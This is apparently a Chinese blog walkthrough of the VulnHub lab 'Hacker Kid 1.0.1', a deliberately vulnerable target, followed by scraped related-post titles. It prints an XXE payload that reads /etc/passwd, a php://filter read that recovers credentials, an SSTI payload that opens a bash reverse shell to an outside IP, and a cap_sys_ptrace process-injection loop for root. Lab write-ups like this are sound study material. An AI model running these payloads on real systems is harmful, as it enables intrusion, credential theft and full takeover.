准备:

攻击机:虚拟机kali、本机win10。

靶机:Hacker kid: 1.0.1,下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova,下载后直接vbox打开即可。

知识点:xxe漏洞、dns解析、ssti漏洞、cap_sys_ptrace+ep进程注入提权。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.240。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.240,显示开放了53、80、9999端口,开启了http服务。

web服务-信息收集:

打开web界面,提示信息告诉我们使用dig(域名查询工具)去继续挖掘。

在其源代码信息中看到提示信息:Use a GET parameter page_no to view pages,告诉我们使用page_no参数来访问当前页面。

使用page_no(根据参数名猜测参数应该是页数)参数访问当前页面:http://192.168.5.240/?page_no=1,获得返回提示信息。使用bp得爆破模块当page_no=21时,获得提示信息,告诉我们一个域名:hackers.blackhat.local。

结合刚才让我们使用dig继续挖掘得信息,这里配合域名:hackers.blackhat.local进行挖掘,命令:dig hackers.blackhat.local @192.168.5.240,发现新的域名:hackerkid.blackhat.local。

在本机和kali中配置下dns解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件进行配置,配置信息如下。

192.168.5.240 hackers.blackhat.local
192.168.5.240 blackhat.local
192.168.5.240 hackerkid.blackhat.local

xxe漏洞:

配置完成后访问:http://hackerkid.blackhat.local/出现一个注册界面,但是注册时一直显示邮箱存在问题。

使用bp进行抓包分析,发现数据是以xml格式发送得数据,那猜测这里可能存在xxe注入,测试xxe注入读取下/etc/passwd文件,发现账户名:saket。

<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>

尝试读取下当前用户下得其他文件,命令:php://filter/convert.base64-encode/resource=/home/saket/.bashrc,成功获取到.bashc文件信息,对返回的信息进行解密,获得一组账户和密码信息:admin/Saket!#$%@!!。

ssti漏洞:

使用获得账户名和信息在:http://192.168.5.240:9999/进行登录,但是:admin/Saket!#$%@!!登录失败,然后尝试了下/etc/passwd文件中发现得saket账户进行登录,登录成功。

提示信息告诉我们需要告诉他我们得名字,尝试输入参数?name=saket,结果返回hello saket。

结合nmap扫描出来的信息知道这里是tornado框架,因此猜测这里可能存在ssti注入,测试:192.168.5.240:9999/?name={{3*3}},代码被执行,因此这里存在ssti注入漏洞。

获取shell:

利用ssti注入反弹shell,因为这里项目搞完去了下一个地方,换了酒店,所以ip地址发生了改变,命令如下:

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/172.18.8.120/6688 0>&1"')}}

url编码后:
%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F172%2E18%2E8%2E120%2F6688+0%3E%261%22%27%29%7D%7D

提权:

通过命令:find / -perm -4000 -type f 2>/dev/null,来查找下可以用来提权的信息,发现了/usr/lib/policykit-1/polkit-agent-helper-1,当时利用polickit的两个漏洞进行提权均是失败,前面文章有说过这两个漏洞。

上传LinEnum.sh脚本进行信息收集,脚本:https://pan.baidu.com/s/1fkL1bN0xDw0r5xb3a62qCQ,提取码:upfn,在收集的信息中发现在历史命令中利用python2.7执行力一个脚本,然后使用nc开启了一个端口监听,注意这里执行的命令,后面是关键。

那就收集下和python2.7有关的信息,命令:./LinEnum.sh | grep python2.7,

发现python2.7具有cap_sys_ptrace+ep权限,那我们可以利用python具备的cap_sys_ptrace+ep能力将root权限的进程注入python类型shellcode以实现权限提升。下面两种提权方式原理一样。

提权方式一:

利用历史命令中发现的执行命令信息,执行命令:ps -eaf | grep root来找寻root进程,然后使用命令:python2.7 exp.py 784来进行进程注入,然后在本地使用nc进行5600端口的连接,成功获得root权限。exp.py脚本信息:git clone https://gitee.com/Re1-zf/shell.git。

提权方式二:

编写脚本对root进程批量尝试。

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done

然后查看下5600端口是否开启监听状态,然后在本地使用nc进行5600端口的连接,成功获得root权限。

vulnhub靶场之HACKER KID: 1.0.1的更多相关文章

  1. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  10. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

随机推荐

  1. 检测 MySQL 服务是否存活 shell脚本

    #!/bin/bash # 检测 MySQL 服务是否存活 # host 为你需要检测的 MySQL 主机的 IP 地址,user 为 MySQL 账户名,passwd 为密码 # 这些信息需要根据实 ...

  2. Azure Kubernetes(AKS)部署及查看应用资源

    简介 上一篇文章讲解了如何使用Azure DevOps持续部署应用到Azure Kubernetes上.但是部署是否成功?会不会遇到什么问题?项目运行中是否会出现问题?我们该怎么样查看这些问题,并且对 ...

  3. mujoco d4rl 安装问题

    最近mujoco免费了,属实爽歪歪,安装d4rl没有以前那么麻烦了(不知为何半年前我安装d4rl时走了那么多弯路) mujoco安装 在 https://mujoco.org/download 上面下 ...

  4. uoj348【WC2018】州区划分

    题目链接 直接讲吨吨吨给的标准做法吧.记\(f(i,j)\)表示各个州(可以重叠)的城市数量之和为i,这些州的并集为j的方案数,反正若有两个州之间有交集最后的\(|j|\)会不等于\(i\).有 \( ...

  5. 已知数据库中存在表tb_book2,通过在图书信息界面填写书本的基本信息,然后提交后写入数据库中的表格中。需要对提交的信息进行修改,信息填入不能为空,为空则则有提示。

    jsp结合SQLSERVER向数据库中的表添加图书信息. 已知数据库中存在表tb_book2,通过在图书信息界面填写书本的基本信息,然后提交后写入数据库中的表格中.需要对提交的信息进行修改,信息填入不 ...

  6. C++之值传递&指针传递&引用传递详解

    C++之值传递&指针传递&引用传递详解 目录 C++之值传递&指针传递&引用传递详解 1.函数基础 2.值传递 3.指针传递 4.引用传递 1.函数基础 一个函数由以下 ...

  7. 前后端分离项目(十一):实现"删"功能(前后端)

    好家伙,本篇介绍如何实现"删"功能 来看效果,  数据库 (自然是没什么毛病) "增"搞定了,其实"删"非常简单 (我不会告诉你我是为了水一 ...

  8. Codeforces Round #802 (Div. 2)C. Helping the Nature(差分)

    题目链接 题目大意: 给你一个有n个元素的数组a,你可以通过一下三种操作使数组的每一个值都为0: 选择一个下标i,然后让a[1],a[2]....a[ i ] 都减一; 选择一个下标i,然后让a[i] ...

  9. 达梦-DBLINK数据库链接

    aliases: [达梦 DBlink] tags: [数据库,DM,Blog] link: date: 2022-09-06 说明:DM-Oracle指的是在DM中创建链接至Oracle的Dblin ...

  10. 【云原生 · Kubernetes】Jenkins+Gitlab+Rancher+Docker 实现自动构建镜像的 CI 平台(一)

    1 准备 Jenkins+Gitlab 实验环境 1.1 准备实验环境:恢复到以一下快照:该环境已经配置好 jenkins+gitlab+sonar-配置通 主机角色: IP 地址 运行的服务 硬件配 ...